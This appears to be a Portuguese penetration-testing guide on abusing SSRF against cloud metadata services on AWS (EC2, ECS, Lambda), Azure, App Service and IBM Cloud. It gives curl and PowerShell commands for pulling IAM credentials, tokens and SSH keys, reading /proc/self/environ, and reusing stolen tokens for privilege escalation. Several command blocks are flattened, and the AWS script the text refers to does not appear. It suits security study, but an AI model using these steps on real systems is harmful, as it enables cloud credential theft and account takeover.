O endpoint de metadados pode ser acessado de dentro de qualquer máquina EC2 e oferece informações interessantes sobre ela. É acessível na URL: http://169.254.169.254 (informações sobre os metadados aqui).
Existem 2 versões do endpoint de metadados. A primeira permite acessar o endpoint via requisições GET (então qualquer SSRF pode explorá-lo). Para a versão 2, IMDSv2, você precisa solicitar um token enviando uma requisição PUT com um cabeçalho HTTP e então usar esse token para acessar os metadados com outro cabeçalho HTTP (então é mais complicado de abusar com um SSRF).
Note que se a instância EC2 estiver forçando o IMDSv2, de acordo com a documentação, a resposta da requisição PUT terá um limite de salto de 1, tornando impossível acessar os metadados EC2 de um contêiner dentro da instância EC2.
Além disso, IMDSv2 também bloqueará requisições para buscar um token que incluam o cabeçalho X-Forwarded-For. Isso é para evitar que proxies reversos mal configurados consigam acessá-lo.
Você pode encontrar informações sobre os endpoints de metadados na documentação. No script a seguir, algumas informações interessantes são obtidas a partir dele:
Note que o aws_session_token, isso é indispensável para o perfil funcionar.
PACU pode ser usado com as credenciais descobertas para descobrir seus privilégios e tentar escalar privilégios.
SSRF em credenciais do AWS ECS (Serviço de Contêiner)
ECS é um grupo lógico de instâncias EC2 nas quais você pode executar um aplicativo sem precisar escalar sua própria infraestrutura de gerenciamento de cluster, porque o ECS gerencia isso para você. Se você conseguir comprometer o serviço em execução no ECS, os endpoints de metadados mudam.
Se você acessar http://169.254.170.2/v2/credentials/<GUID> você encontrará as credenciais da máquina ECS. Mas primeiro você precisa encontrar o <GUID>. Para encontrar o <GUID> você precisa ler a variável environAWS_CONTAINER_CREDENTIALS_RELATIVE_URI dentro da máquina.
Você pode ser capaz de lê-la explorando um Path Traversal para file:///proc/self/environ
O endereço http mencionado deve lhe fornecer a AccessKey, SecretKey e token.
Note que em alguns casos você poderá acessar os metadados da instância EC2 a partir do contêiner (verifique as limitações de TTL do IMDSv2 mencionadas anteriormente). Nesses cenários, a partir do contêiner, você poderia acessar tanto o papel IAM do contêiner quanto o papel IAM da EC2.
SSRF para AWS Lambda
Neste caso, as credenciais estão armazenadas em variáveis de ambiente. Portanto, para acessá-las, você precisa acessar algo como file:///proc/self/environ.
O nome das variáveis de ambiente interessantes são:
AWS_SESSION_TOKEN
AWS_SECRET_ACCESS_KEY
AWS_ACCES_KEY_ID
Além disso, além das credenciais IAM, as funções Lambda também têm dados de evento que são passados para a função quando ela é iniciada. Esses dados são disponibilizados para a função através da interface de runtime e podem conter informaçõessensíveis (como dentro das stageVariables). Ao contrário das credenciais IAM, esses dados são acessíveis via SSRF padrão em http://localhost:9001/2018-06-01/runtime/invocation/next.
Note que as credenciais lambda estão dentro das variáveis de ambiente. Portanto, se o stack trace do código lambda imprimir variáveis de ambiente, é possível exfiltrá-las provocando um erro no aplicativo.
Para usar o token da conta de serviço exfiltrado você pode simplesmente fazer:
# Via env varsexport CLOUDSDK_AUTH_ACCESS_TOKEN=<token>gcloudprojectslist# Via setupecho"<token>">/some/path/to/tokengcloudconfigsetauth/access_token_file/some/path/to/tokengcloudprojectslistgcloudconfigunsetauth/access_token_file
# PowershellInvoke-RestMethod -Headers @{"Metadata"="true"} -Method GET -NoProxy -Uri "http://169.254.169.254/metadata/instance?api-version=2021-02-01" | ConvertTo-Json -Depth 64
## User data$userData = Invoke- RestMethod -Headers @{"Metadata"="true"} -Method GET -Uri "http://169.254.169.254/metadata/instance/compute/userData?api-version=2021- 01-01&format=text"
[System.Text.Encoding]::UTF8.GetString([Convert]::FromBase64String($userData))# Paths/metadata/instance?api-version=2017-04-02/metadata/instance/network/interface/0/ipv4/ipAddress/0/publicIpAddress?api-version=2017-04-02&format=text/metadata/instance/compute/userData?api-version=2021-01-01&format=text
Azure App Service
A partir do env, você pode obter os valores de IDENTITY_HEADEReIDENTITY_ENDPOINT. Que você pode usar para obter um token para se comunicar com o servidor de metadados.
Na maioria das vezes, você quer um token para um desses recursos:
# Check for those env vars to know if you are in an Azure appecho $IDENTITY_HEADERecho $IDENTITY_ENDPOINT# You should also be able to find the folder:ls/opt/microsoft#and the filels/opt/microsoft/msodbcsql17# Get management tokencurl"$IDENTITY_ENDPOINT?resource=https://management.azure.com/&api-version=2017-09-01"-Hsecret:$IDENTITY_HEADER# Get graph tokencurl"$IDENTITY_ENDPOINT?resource=https://graph.azure.com/&api-version=2017-09-01"-Hsecret:$IDENTITY_HEADER# API# Get SubscriptionsURL="https://management.azure.com/subscriptions?api-version=2020-01-01"curl-H"Authorization: $TOKEN""$URL"# Get current permission on resources in the subscriptionURL="https://management.azure.com/subscriptions/<subscription-uid>/resources?api-version=2020-10-01'"curl-H"Authorization: $TOKEN""$URL"# Get permissions in a VMURL="https://management.azure.com/subscriptions/<subscription-uid>/resourceGroups/Engineering/providers/Microsoft.Compute/virtualMachines/<VM-name>/providers/Microsoft.Authorization/permissions?api-version=2015-07-01"
curl-H"Authorization: $TOKEN""$URL"
# API request in powershell to management endpoint$Token ='eyJ0eX..'$URI='https://management.azure.com/subscriptions?api-version=2020-01-01'$RequestParams =@{Method ='GET'Uri = $URIHeaders =@{'Authorization'="Bearer $Token"}}(Invoke-RestMethod @RequestParams).value# API request to graph endpoint (get enterprise applications)$Token ='eyJ0eX..'$URI ='https://graph.microsoft.com/v1.0/applications'$RequestParams =@{Method ='GET'Uri = $URIHeaders =@{'Authorization'="Bearer $Token"}}(Invoke-RestMethod @RequestParams).value# Using AzureAD Powershell module witho both management and graph tokens$token ='eyJ0e..'$graphaccesstoken ='eyJ0eX..'Connect-AzAccount -AccessToken $token -GraphAccessToken $graphaccesstoken -AccountId 2e91a4f12984-46ee-2736-e32ff2039abc
# Try to get current perms over resourcesGet-AzResource## The following error means that the user doesn't have permissions over any resourceGet-AzResource : 'this.Client.SubscriptionId' cannot be null.At line:1 char:1+Get-AzResource+ ~~~~~~~~~~~~~~+ CategoryInfo : CloseError: (:) [Get-AzResource],ValidationException+ FullyQualifiedErrorId :Microsoft.Azure.Commands.ResourceManager.Cmdlets.Implementation.GetAzureResourceCmdlet
IBM Cloud
Observe que no IBM, por padrão, os metadados não estão habilitados, então é possível que você não consiga acessá-los mesmo estando dentro de uma VM da IBM cloud.
export instance_identity_token=`curl-s-XPUT "http://169.254.169.254/instance_identity/v1/token?version=2022-03-01"\-H "Metadata-Flavor: ibm"\-H "Accept: application/json"\-d '{"expires_in": 3600}' |jq-r '(.access_token)'`# Get instance detailscurl -s -H "Accept: application/json" -H "Authorization: Bearer $instance_identity_token" -X GET "http://169.254.169.254/metadata/v1/instance?version=2022-03-01" | jq
# Get SSH keys infocurl -s -X GET -H "Accept: application/json" -H "Authorization: Bearer $instance_identity_token" "http://169.254.169.254/metadata/v1/keys?version=2022-03-01" | jq
# Get SSH keys fingerprints & user datacurl -s -X GET -H "Accept: application/json" -H "Authorization: Bearer $instance_identity_token" "http://169.254.169.254/metadata/v1/instance/initialization?version=2022-03-01" | jq
# Get placement groupscurl -s -X GET -H "Accept: application/json" -H "Authorization: Bearer $instance_identity_token" "http://169.254.169.254/metadata/v1/placement_groups?version=2022-03-01" | jq
# Get IAM credentialscurl -s -X POST -H "Accept: application/json" -H "Authorization: Bearer $instance_identity_token" "http://169.254.169.254/instance_identity/v1/iam_token?version=2022-03-01" | jq
A documentação para os serviços de metadados de várias plataformas está descrita abaixo, destacando os métodos pelos quais informações de configuração e tempo de execução para instâncias podem ser acessadas. Cada plataforma oferece endpoints únicos para acessar seus serviços de metadados.